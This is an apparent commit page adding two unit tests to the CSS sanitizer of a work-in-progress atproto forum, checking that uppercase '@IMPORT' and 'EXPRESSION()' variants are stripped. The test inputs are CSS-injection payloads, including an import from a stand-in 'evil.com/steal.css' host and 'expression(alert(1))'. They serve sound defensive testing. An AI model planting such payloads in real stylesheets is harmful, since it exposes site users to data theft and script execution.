WIP! A BB-style forum, on the ATmosphere! We're still working... we'll be back soon when we have something to show off!
node typescript hono htmx atproto

test(css-sanitizer): prove @IMPORT and EXPRESSION() case-insensitive handling

The sanitizer uses .toLowerCase() before comparing atrule/function names, so
uppercase obfuscation variants are already caught. These two tests document
that assumption explicitly so future changes can't silently break it.

+22
+22
packages/css-sanitizer/src/__tests__/index.test.ts
··· 79 79 expect(warnings.filter((w) => w.includes("@import"))).toHaveLength(2); 80 80 }); 81 81 82 + it("strips @IMPORT with uppercase obfuscation", () => { 83 + // CSS keywords are case-insensitive per spec. The sanitizer normalizes via 84 + // node.name.toLowerCase() before comparison, so @IMPORT is caught even if 85 + // css-tree preserves the original casing in the AST node name. 86 + const { css, warnings } = sanitizeCssOverrides( 87 + '@IMPORT "https://evil.com/steal.css";' 88 + ); 89 + expect(css).not.toContain("evil.com"); 90 + expect(warnings.some((w) => w.includes("@import"))).toBe(true); 91 + }); 92 + 82 93 // ── external url() in declarations ─────────────────────────────────────── 83 94 84 95 it("strips declarations with http:// url()", () => { ··· 166 177 "div { width: expression(alert(1)); }" 167 178 ); 168 179 expect(css).not.toContain("expression("); 180 + expect(warnings.some((w) => w.includes("width"))).toBe(true); 181 + }); 182 + 183 + it("strips EXPRESSION() with uppercase obfuscation", () => { 184 + // The sanitizer normalizes via inner.name.toLowerCase() before comparison, 185 + // so EXPRESSION() is caught regardless of how css-tree stores the function name. 186 + const { css, warnings } = sanitizeCssOverrides( 187 + "div { width: EXPRESSION(alert(1)); }" 188 + ); 189 + expect(css).not.toContain("EXPRESSION("); 190 + expect(css).not.toContain("alert("); 169 191 expect(warnings.some((w) => w.includes("width"))).toBe(true); 170 192 }); 171 193